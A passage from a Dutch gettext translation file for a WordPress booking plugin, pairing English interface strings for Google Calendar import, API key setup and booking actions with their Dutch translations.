"Waarschuwing!" #: core/lang/wpbc_all_translations2.php:99 #: includes/page-bookings/bookings__actions.php:3471 msgid "Retrieve Google Calendar Events " msgstr "Google Agenda afspraken ophalen " #: core/lang/wpbc_all_translations.php:672 core/wpbc-emails.php:221 #: includes/_toolbar_ui/toolbar_ui.php:374 #: includes/_toolbar_ui/toolbar_ui.php:1235 msgid "day" msgstr "dag" #: core/admin/page-ics-general.php:159 core/lang/wpbc_all_translations.php:290 #: core/sync/wpbc-gcal.php:265 msgid "Select a city in your required timezone, if you are having problems with dates and times." msgstr "Selecteer een stad in de tijdszone van jouw keuze, als je problemen hebt met datums en tijden." #: core/admin/page-import-gcal.php:60 core/lang/wpbc_all_translations.php:339 msgid "Activate auto import" msgstr "Activeer automatisch importeren" #: core/admin/page-import-gcal.php:118 core/lang/wpbc_all_translations.php:348 msgid "Import events every" msgstr "Afspraken importeren elke" #: core/admin/page-import-gcal.php:87 core/admin/page-import-gcal.php:89 #: core/lang/wpbc_all_translations.php:342 #: includes/page-customize/customize__templates.php:2471 #: includes/page-customize/customize__templates.php:2473 #: includes/page-form-simple/generator-timeslots.php:207 msgid "hour" msgstr "uur" #: core/admin/page-import-gcal.php:61 core/lang/wpbc_all_translations.php:340 msgid "Check this box to %sactivate%s auto import events and creation bookings from them" msgstr "Vink dit vakje aan om het automatisch importeren van evenementen te %sactiveren%s en er boekingen mee aan te maken" #: core/admin/page-ics-general.php:131 core/lang/wpbc_all_translations.php:288 #: core/sync/wpbc-gcal.php:235 #: includes/page-customize/customize__templates.php:1255 #: includes/page-customize/customize__templates.php:1320 #: includes/page-customize/customize__templates.php:1406 #: includes/_capacity/resource_support.php:45 msgid "Default" msgstr "Standaard" #: core/admin/page-import-gcal.php:136 core/lang/wpbc_all_translations.php:351 msgid "Please enter your Google API key. This field required to import events." msgstr "Voer hier je Google API-sleutel in. Dit veld is verplicht om afspraken te kunnen importeren." #: core/admin/page-ics-general.php:158 core/lang/wpbc_all_translations.php:289 #: core/sync/wpbc-gcal.php:230 msgid "Timezone" msgstr "Tijdszone" #: core/admin/page-import-gcal.php:139 core/lang/wpbc_all_translations.php:353 msgid "You can check in this %sinstruction how to generate and use your Google API key%s." msgstr "Je kunt deze %sinstructie over het genereren en gebruiken van een Google API sleutel%s raadplegen." #: core/admin/page-import-gcal.php:281 core/lang/wpbc_all_translations.php:372 #: core/sync/wpbc-gcal.php:156 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:63 #: includes/ui_modal__shortcodes/sh_tpl_booking_listing.php:60 msgid "Until" msgstr "Tot" #: core/admin/page-import-gcal.php:282 core/lang/wpbc_all_translations.php:373 #: core/sync/wpbc-gcal.php:182 msgid "Select option, when to stop retrieving events." msgstr "Selecteer wanneer ophalen van afspraken moet stoppen." #: core/admin/page-import-gcal.php:178 core/lang/wpbc_all_translations.php:355 #: core/sync/wpbc-gcal.php:216 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:386 msgid "Maximum number" msgstr "Maximum aantal" #: core/admin/page-import-gcal.php:135 core/lang/wpbc_all_translations.php:350 msgid "Google API Key" msgstr "Google API sleutel" #: core/admin/page-import-gcal.php:179 core/lang/wpbc_all_translations.php:356 #: core/sync/wpbc-gcal.php:219 msgid "You can specify the maximum number of events to import during one session." msgstr "Je kunt specifiëren hoeveel afspraken maximaal moeten geïmporteerd worden in één sessie." #: core/admin/page-import-gcal.php:256 core/admin/page-import-gcal.php:338 #: core/lang/wpbc_all_translations.php:369 core/sync/wpbc-gcal.php:136 msgid "You can specify an additional offset from you chosen start point. The offset can be negative." msgstr "Je kunt een bijkomende tijdsinterval specifiëren vanaf je gekozen startpunt. Het interval kan negatief zijn." #: core/admin/page-import-gcal.php:259 core/admin/page-import-gcal.php:341 #: core/lang/wpbc_all_translations.php:370 core/sync/wpbc-gcal.php:139 #: core/sync/wpbc-gcal.php:203 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:275 msgid "Type your date in format %s. Example: %s" msgstr "Typ je datum in het formaat %s. Bijvoorbeeld: %s" #: core/admin/page-import-gcal.php:275 core/lang/wpbc_all_translations.php:371 #: core/sync/wpbc-gcal.php:174 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:59 #: includes/ui_modal__shortcodes/sh_tpl_booking_listing.php:56 msgid "The end of time" msgstr "De eindtijd" #: core/lang/wpbc_all_translations.php:635 core/sync/wpbc-gcal.php:200 msgid "You can specify an additional offset from you chosen end point. The offset can be negative." msgstr "Je kunt een bijkomende tijdsinterval specifiëren vanaf je gekozen eindpunt. Het interval kan negatief zijn." #: core/admin/page-import-gcal.php:85 core/admin/page-import-gcal.php:89 #: core/admin/page-import-gcal.php:235 core/admin/page-import-gcal.php:317 #: core/lang/wpbc_all_translations.php:341 core/sync/wpbc-gcal.php:127 #: core/sync/wpbc-gcal.php:191 #: includes/page-customize/customize__templates.php:2345 #: includes/page-customize/customize__templates.php:2469 #: includes/page-customize/customize__templates.php:2473 #: includes/page-form-simple/generator-timeslots.php:208 #: includes/page-form-simple/generator-timeslots.php:209 #: includes/page-form-simple/generator-timeslots.php:210 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:266 msgid "minutes" msgstr "minuten" #: core/admin/page-import-gcal.php:237 core/admin/page-import-gcal.php:319 #: core/admin/wpbc-toolbars.php:640 core/admin/wpbc-toolbars.php:641 #: core/admin/wpbc-toolbars.php:643 core/admin/wpbc-toolbars.php:644 #: core/lang/wpbc_all_translations.php:368 core/sync/wpbc-gcal.php:129 #: core/sync/wpbc-gcal.php:193 #: includes/page-customize/customize__templates.php:1811 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:998 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:1390 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:264 #: includes/_toolbar_ui/toolbar_ui.php:375 #: includes/_toolbar_ui/toolbar_ui.php:376 #: includes/_toolbar_ui/toolbar_ui.php:377 #: includes/_toolbar_ui/toolbar_ui.php:378 #: includes/_toolbar_ui/toolbar_ui.php:379 #: includes/_toolbar_ui/toolbar_ui.php:1236 #: includes/_toolbar_ui/toolbar_ui.php:1237 #: includes/_toolbar_ui/toolbar_ui.php:1238 #: includes/_toolbar_ui/toolbar_ui.php:1239 #: includes/_toolbar_ui/toolbar_ui.php:1240 msgid "days" msgstr "dagen" #: core/admin/page-import-gcal.php:92 core/admin/page-import-gcal.php:236 #: core/admin/page-import-gcal.php:318 core/lang/wpbc_all_translations.php:343 #: core/sync/wpbc-gcal.php:128 core/sync/wpbc-gcal.php:192 #: includes/page-customize/customize__templates.php:2345 #: includes/page-customize/customize__templates.php:2477 #: includes/page-form-simple/generator-timeslots.php:206 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:265 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:415 msgid "hours" msgstr "uren" #: core/admin/page-import-gcal.php:189 core/admin/page-import-gcal.php:271 #: core/lang/wpbc_all_translations.php:358 core/sync/wpbc-gcal.php:106 #: core/sync/wpbc-gcal.php:170 msgid "00:00 today" msgstr "00:00 vandaag" #: core/admin/page-import-gcal.php:192 core/admin/page-import-gcal.php:274 #: core/lang/wpbc_all_translations.php:361 core/sync/wpbc-gcal.php:109 #: core/sync/wpbc-gcal.php:173 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:57 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:190 #: includes/ui_modal__shortcodes/sh_tpl_booking_listing.php:54 msgid "End of current month" msgstr "Einde van huidige maand" #: core/admin/page-import-gcal.php:193 core/lang/wpbc_all_translations.php:362 #: core/sync/wpbc-gcal.php:110 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:192 msgid "The start of time" msgstr "De begintijd" #: core/admin/page-import-gcal.php:194 core/admin/page-import-gcal.php:276 #: core/lang/wpbc_all_translations.php:363 core/sync/wpbc-gcal.php:111 #: core/sync/wpbc-gcal.php:175 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:60 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:193 #: includes/ui_modal__shortcodes/sh_tpl_booking_listing.php:57 msgid "Specific date / time" msgstr "Specifieke datum/tijd" #: core/admin/page-import-gcal.php:200 core/lang/wpbc_all_translations.php:364 #: core/sync/wpbc-gcal.php:118 msgid "Select option, when to start retrieving events." msgstr "Selecteer wanneer ophalen van afspraken moet starten." #: core/admin/page-import-gcal.php:216 core/admin/page-import-gcal.php:298 #: core/lang/wpbc_all_translations.php:366 core/sync/wpbc-gcal.php:120 #: core/sync/wpbc-gcal.php:184 msgid "Enter date / time" msgstr "Voer datum/tijd in" #: core/admin/page-import-gcal.php:215 core/admin/page-import-gcal.php:297 #: core/lang/wpbc_all_translations.php:365 core/sync/wpbc-gcal.php:120 #: core/sync/wpbc-gcal.php:184 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:226 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:235 msgid "Offset" msgstr "Tijdsinterval" #: core/admin/page-import-gcal.php:234 core/admin/page-import-gcal.php:316 #: core/lang/wpbc_all_translations.php:367 core/sync/wpbc-gcal.php:126 #: core/sync/wpbc-gcal.php:190 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:267 msgid "seconds" msgstr "seconden" #: core/admin/page-import-gcal.php:190 core/admin/page-import-gcal.php:272 #: core/lang/wpbc_all_translations.php:359 core/sync/wpbc-gcal.php:107 #: core/sync/wpbc-gcal.php:171 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:188 msgid "Start of current week" msgstr "Start van de huidige week" #: core/admin/page-import-gcal.php:191 core/admin/page-import-gcal.php:273 #: core/lang/wpbc_all_translations.php:360 core/sync/wpbc-gcal.php:108 #: core/sync/wpbc-gcal.php:172 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:56 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:189 #: includes/ui_modal__shortcodes/sh_tpl_booking_listing.php:53 msgid "Start of current month" msgstr "Start van de huidige maand" #: core/admin/page-email-approved.php:262 core/admin/page-email-deleted.php:262 #: core/admin/page-email-deny.php:262 core/admin/page-email-new-admin.php:242 #: core/admin/page-email-new-visitor.php:244 #: core/admin/page-email-trash.php:262 core/admin/page-import-gcal.php:199 #: core/lang/wpbc_all_translations.php:202 core/sync/wpbc-gcal.php:92 #: includes/page-customize/customize__templates.php:1763 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:196 #: includes/_toolbar_ui/toolbar_ui.php:1345 msgid "From" msgstr "Van" #: core/admin/page-import-gcal.php:188 core/admin/page-import-gcal.php:270 #: core/lang/wpbc_all_translations.php:357 core/lib/wpbc-cron.php:305 #: core/sync/wpbc-gcal.php:105 core/sync/wpbc-gcal.php:169 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:53 #: includes/ui_modal__shortcodes/sh_tpl_booking_import.php:186 #: includes/ui_modal__shortcodes/sh_tpl_booking_listing.php:50 msgid "Now" msgstr "Nu" #: core/admin/page-ics-general.php:101 core/admin/page-ics-general.php:111 #: core/admin/page-ics-general.php:121 core/lang/wpbc_all_translations.php:285 msgid "Select field for assigning to %sevent property%s" msgstr "Selecteer veld om %safspraak eigenschap%s toe te wijzen" #: core/admin/page-ics-general.php:110 core/lang/wpbc_all_translations.php:286 msgid "Event Description (optional field)" msgstr "Afspraak omschrijving (optioneel veld)" #: core/admin/page-ics-general.php:100 core/lang/wpbc_all_translations.php:284 msgid "Event Title" msgstr "Titel van activiteit" #: core/admin/page-ics-general.php:120 core/lang/wpbc_all_translations.php:287 msgid "Location" msgstr "Plaats" #: core/admin/page-import-gcal.php:363 core/lang/wpbc_all_translations.php:378 msgid "Click APIs and make sure \"Calendar API\" is set to ON." msgstr "Klik op APIs en zorg dat \"Kalender API\" AAN staat." #: core/admin/page-import-gcal.php:364 core/lang/wpbc_all_translations.php:379 msgid "Now click on \"Credentials\" in the sidebar." msgstr "Klik nu op \"Referenties\" in de zijbalk." #: core/admin/page-import-gcal.php:365 core/lang/wpbc_all_translations.php:380 msgid "Under the section \"Public API access\" click the button \"Create new Key\"." msgstr "Klik in de sectie \"Openbare API toegang\" op de knop \"Maak nieuwe sleutel aan\"." #: core/admin/page-import-gcal.php:366 core/lang/wpbc_all_translations.php:381 msgid "On the popup click the button \"Server Key\" and click \"Create\"." msgstr "Klik in de popup op de knop \"Server sleutel\" en klik \"Aanmaken\"." #: core/admin/page-import-gcal.php:370 core/lang/wpbc_all_translations.php:383 msgid "Set Your Calendar to Public" msgstr "Stel kalender in als openbaar" #: core/admin/page-import-gcal.php:372 core/admin/page-import-gcal.php:380 #: core/lang/wpbc_all_translations.php:384 msgid "Navigate to your Google calendars." msgstr "Navigeer naar je Google kalenders." #: core/admin/page-import-gcal.php:373 core/admin/page-import-gcal.php:381 #: core/lang/wpbc_all_translations.php:385 msgid "Open the settings for the calendar." msgstr "Open de instellingen voor de agenda." #: core/admin/page-import-gcal.php:374 core/lang/wpbc_all_translations.php:386 msgid "Click the \"Share this Calendar\" link." msgstr "Klik op de \"Deel deze kalender\" link." #: core/admin/page-import-gcal.php:375 core/lang/wpbc_all_translations.php:387 msgid "Click the checkbox to make calendar public. Do not check the other option." msgstr "Vink het vakje aan om de kalender openbaar te maken. Vink de andere optie niet aan." #: core/admin/page-import-gcal.php:378 core/lang/wpbc_all_translations.php:388 msgid "Find Your Calendar ID" msgstr "Zoek je Agenda ID" #: core/admin/page-import-gcal.php:382 core/lang/wpbc_all_translations.php:389 msgid "Now copy the Calendar ID to use in the plugin settings in your WordPress admin. Make sure to %suse the Calendar ID only, not the entire XML feed URL%s." msgstr "Kopieer nu de Kalender ID om te gebruiken in de Feedinstellingen in je WordPress admin. Zorg dat je %senkel de Kalender ID gebruikt, niet de hele XML feed URL%s." #: core/admin/page-ics-general.php:67 core/lang/wpbc_all_translations.php:283 #: includes/page-customize/customize__ajax_request.php:502 #: includes/page-customize/customize__ajax_request.php:534 #: includes/page-customize/customize__templates.php:2322 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:573 #: includes/ui_modal__shortcodes/sh_tpl_booking_select.php:248 msgid "None" msgstr "Geen" #: core/admin/page-import-gcal.php:367 core/lang/wpbc_all_translations.php:382 msgid "You will now see a table loaded with the top item being the API Key. Copy this and paste it into %sGoogle API Key%s field at this page." msgstr "Er zal nu een tabel worden geladen met bovenaan de API-sleutel. Kopieer deze en plak in het %sGoogle API-sleutel%s veld op deze pagina." #: core/admin/page-import-gcal.php:531 core/admin/page-import-gcal.php:578 #: core/lang/wpbc_all_translations.php:391 msgid "Auto import events" msgstr "Automatisch importeren van afspraken" #: core/admin/page-import-gcal.php:569 core/lang/wpbc_all_translations.php:393 msgid "Google Calendar - General Settings" msgstr "Google Agenda - algemene instellingen" #: core/admin/page-import-gcal.php:533 core/admin/page-import-gcal.php:586 #: core/lang/wpbc_all_translations.php:392 msgid "Default settings for retrieving events" msgstr "Standaardinstellingen om agenda-afspraken op te halen" #: core/admin/page-import-gcal.php:160 core/lang/wpbc_all_translations.php:354 msgid "Google Calendar ID" msgstr "Google Agenda ID" #: core/admin/page-import-gcal.php:360 core/lang/wpbc_all_translations.php:375 msgid "Go to Google Developer Console: %s." msgstr "Ga naar Google Developer Console: %s." #: core/admin/page-import-gcal.php:361 core/lang/wpbc_all_translations.php:376 msgid "Give your project a name and click \"Create\"." msgstr "Geef je project een naam en klik \"Aanmaken\"." #: core/admin/page-import-gcal.php:362 core/lang/wpbc_all_translations.php:377 msgid "In the sidebar click on \"APIs & auth\"." msgstr "Klik in de zijbalk op \"APIs & auth\"." #: core/admin/page-import-gcal.php:358 core/lang/wpbc_all_translations.php:374 msgid "To get Google Calendar API key please follow this instruction" msgstr "Om de Google Agenda API sleutel te verkrijgen, moet je deze instructies volgen" #: core/admin/page-ics-general.php:452 core/lang/wpbc_all_translations.php:314 msgid "Assign events fields to specific booking form field" msgstr "Wijs velden toe aan een specifiek boekingsformulierveld" #: core/admin/page-ics-export.php:42 core/admin/page-ics-export.php:43 #: core/admin/page-ics-general.php:316 core/admin/page-ics-general.php:317 #: core/admin/page-ics-general.php:336 core/admin/page-ics-general.php:337 #: core/admin/page-ics-import.php:40 core/admin/page-ics-import.php:41 #: core/admin/page-import-gcal.php:428 core/admin/page-import-gcal.php:429 #: core/lang/wpbc_all_translations.php:269 core/wpbc_functions.php:2096 msgid "Sync" msgstr "Sync" #: core/lang/wpbc_all_translations.php:745 core/wpbc_functions.php:3198 #: includes/page-form-simple/preview_form.php:209 msgid "Click to toggle" msgstr "Klik om te wisselen" #: core/lang/wpbc_all_translations.php:633 core/sync/wpbc-gcal-class.php:798 #: includes/_toolbar_ui/toolbar_ui.php:1861 msgid "Do you really want to delete selected booking(s) ?" msgstr "Wilt u de geselecteerde boeking(en) echt verwijderen?" #: core/lang/wpbc_all_translations.php:634 core/sync/wpbc-gcal-class.php:807 msgid "Delete selected booking(s)" msgstr "Geselecteerde boeking(en) verwijderen" #: core/lang/wpbc_all_translations.php:629 core/sync/wpbc-gcal-class.php:736 #: core/sync/wpbc-gcal-class.php:786 msgid "GID" msgstr "GID" #: core/lang/wpbc_all_translations.php:630 core/sync/wpbc-gcal-class.php:750 msgid "Selection" msgstr "Selectie" #: core/lang/wpbc_all_translations.php:631 core/sync/wpbc-gcal-class.php:764 msgid "Location:" msgstr "Plaats:" #: core/admin/api-settings.php:1731 core/class/wpbc-class-notices.php:107 #: core/lang/wpbc_all_translations.php:181 core/sync/wpbc-gcal-class.php:796 #: core/wpbc_functions.php:3105 msgid "Hide" msgstr "Verberg" #: core/lang/wpbc_all_translations.php:632 core/sync/wpbc-gcal-class.php:794 msgid "Reload page" msgstr "Pagina herladen" #: core/lang/wpbc_all_translations.php:626 core/sync/wpbc-gcal-class.php:666 #: core/sync/wpbc-gcal-class.php:735 core/sync/wpbc-gcal-class.php:770 #: core/timeline/v2/wpbc-class-timeline_v2.php:73 #: core/wpbc_functions_dates.php:235 core/wpbc_functions_dates.php:277 #: includes/_toolbar_ui/toolbar_ui.php:292 #: includes/_toolbar_ui/toolbar_ui.php:293 #: includes/_toolbar_ui/toolbar_ui.php:415 #: includes/_toolbar_ui/toolbar_ui.php:1323 msgid "Dates" msgstr "Datums" #: core/admin/api-settings.php:1778 core/lang/wpbc_all_translations.php:184 #: core/sync/wpbc-gcal-class.php:492 core/sync/wpbc-gcal-class.php:734 #: core/sync/wpbc-gcal-class.php:760 #: includes/page-form-simple/page-form-simple.php:1736 msgid "Info" msgstr "Info" #: core/admin/page-email-approved.php:234 #: core/admin/page-email-approved.php:290 core/admin/page-email-deleted.php:234 #: core/admin/page-email-deleted.php:290 core/admin/page-email-deny.php:236 #: core/admin/page-email-deny.php:290 core/admin/page-email-new-admin.php:218 #: core/admin/page-email-new-admin.php:270 #: core/admin/page-email-new-visitor.php:272 #: core/admin/page-email-trash.php:234 core/admin/page-email-trash.php:295 #: core/lang/wpbc_all_translations.php:200 core/lib/wpdev-booking-widget.php:96 #: core/sync/wpbc-gcal-class.php:733 core/sync/wpbc-gcal-class.php:756 #: includes/page-form-simple/generator-timeslots.php:778 #: includes/ui_modal__shortcodes/sh_tpl_booking_other.php:80 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:191 #: js/wpbc-gutenberg.js:859 msgid "Title" msgstr "Titel" #: core/lang/wpbc_all_translations.php:628 core/sync/wpbc-gcal-class.php:732 #: core/sync/wpbc-gcal-class.php:753 includes/_toolbar_ui/toolbar_ui.php:289 #: includes/_toolbar_ui/toolbar_ui.php:290 msgid "ID" msgstr "ID" #: core/lang/wpbc_all_translations.php:617 core/sync/wpbc-gcal-class.php:317 msgid "Importing Feed" msgstr "Feed importeren" #: core/lang/wpbc_all_translations.php:618 core/sync/wpbc-gcal-class.php:333 msgid "Data Parsing" msgstr "Data Parsing" #: core/lang/wpbc_all_translations.php:620 core/sync/wpbc-gcal-class.php:483 msgid "The feed could not be found (404). Please ensure your feed URL is correct." msgstr "De feed kon niet gevonden worden (404). Zorg dat je feed URL correct is." #: core/lang/wpbc_all_translations.php:621 core/sync/wpbc-gcal-class.php:486 msgid "Access to this feed was denied (403). Please ensure you have public sharing enabled for your calendar." msgstr "Toegang tot deze feed werd geweigerd (403). Zorg dat je openbaar delen ingeschakeld hebt voor je kalender." #: core/lang/wpbc_all_translations.php:622 core/sync/wpbc-gcal-class.php:489 msgid "The feed data could not be retrieved. Error code: %s. Please ensure your feed URL is correct." msgstr "De feedgegevens konden niet opgehaald worden. Foutcode: %s. Zorg a.u.b. dat je feed-URL correct is." #: core/admin/page-ics-import.php:713 core/lang/wpbc_all_translations.php:338 #: core/sync/wpbc-gcal-class.php:512 includes/_feedback/feedback.php:291 #: includes/_feedback/feedback.php:325 includes/_feedback/feedback.php:384 #: includes/_feedback/feedback.php:410 msgid "Done" msgstr "Klaar" #: core/lang/wpbc_all_translations.php:619 core/sync/wpbc-gcal-class.php:476 msgid "Some data was retrieved, but could not be parsed successfully. Please ensure your feed URL is correct." msgstr "Sommige gegevens werden opgepikt, maar konden niet succesvol verwerkt worden. Zorg dat je feed URL correct is." #: core/admin/page-email-approved.php:702 core/admin/page-email-deleted.php:700 #: core/admin/page-email-deny.php:698 core/admin/page-email-new-admin.php:683 #: core/admin/page-email-new-visitor.php:676 #: core/admin/page-email-trash.php:705 core/admin/page-ics-export.php:239 #: core/admin/page-ics-general.php:478 core/admin/page-ics-import.php:205 #: core/admin/page-import-gcal.php:614 core/admin/page-settings.php:160 #: core/admin/page-settings.php:580 core/lang/wpbc_all_translations.php:243 #: includes/page-bookings/bookings__actions.php:2204 #: includes/page-bookings/bookings__actions.php:2369 #: includes/page-bookings/bookings__actions.php:2716 #: includes/page-bookings/bookings__actions.php:3227 #: includes/page-bookings/bookings__actions.php:3335 #: includes/page-form-simple/page-form-simple.php:242 #: includes/page-form-simple/page-form-simple.php:2877 msgid "Save Changes" msgstr "Wijzigingen opslaan" #: core/lang/wpbc_all_translations1.php:518 msgid "Error!" msgstr "Fout!" #: core/admin/page-settings.php:491 core/class/wpbc-class-dismiss.php:27 #: core/class/wpbc-class-dismiss.php:31 core/lang/wpbc_all_translations.php:426 #: core/wpbc_functions.php:979 core/wpbc_functions.php:3257 #: core/wpbc_welcome.php:246 includes/page-form-simple/preview_form.php:239 #: includes/page-resource-free/page-resource-free.php:216 msgid "Dismiss" msgstr "Verbergen" #: core/admin/page-email-deleted.php:581 #: core/lang/wpbc_all_translations.php:248 core/lib/wpbc-ajax.php:278 msgid "Deleted" msgstr "Verwijderd" #: core/lang/wpbc_all_translations.php:595 core/lib/wpbc-ajax.php:151 #: core/lib/wpbc-ajax.php:239 msgid "Reason of cancellation here" msgstr "Reden van annulering hier" #: core/lang/wpbc_all_translations.php:592 core/lib/wpbc-ajax.php:127 msgid "Set as Approved" msgstr "Markeer als geaccepteerd" #: core/lang/wpbc_all_translations.php:593 core/lib/wpbc-ajax.php:129 msgid "Set as Pending" msgstr "Als \"In uitvoering\" markeren" #: core/lang/wpbc_all_translations.php:594 core/lib/wpbc-ajax.php:150 #: core/lib/wpbc-ajax.php:238 msgid "Reason for cancellation here" msgstr "Reden van de annulering hier" #: core/lang/wpbc_all_translations1.php:787 #: includes/_capacity/captcha_simple_text.php:34 msgid "The code you entered is incorrect" msgstr "De code die u hebt ingevoerd is niet juist" #: core/lang/wpbc_all_translations.php:587 core/lib/wpbc-ajax.php:33 #: includes/_functions/nonce_func.php:72 msgid "%sError!%s Request do not pass security check! Please refresh the page and try one more time." msgstr "%sFout!%s Het verzoek is niet geldig, ververs de pagina en probeer het nog een keer."
Close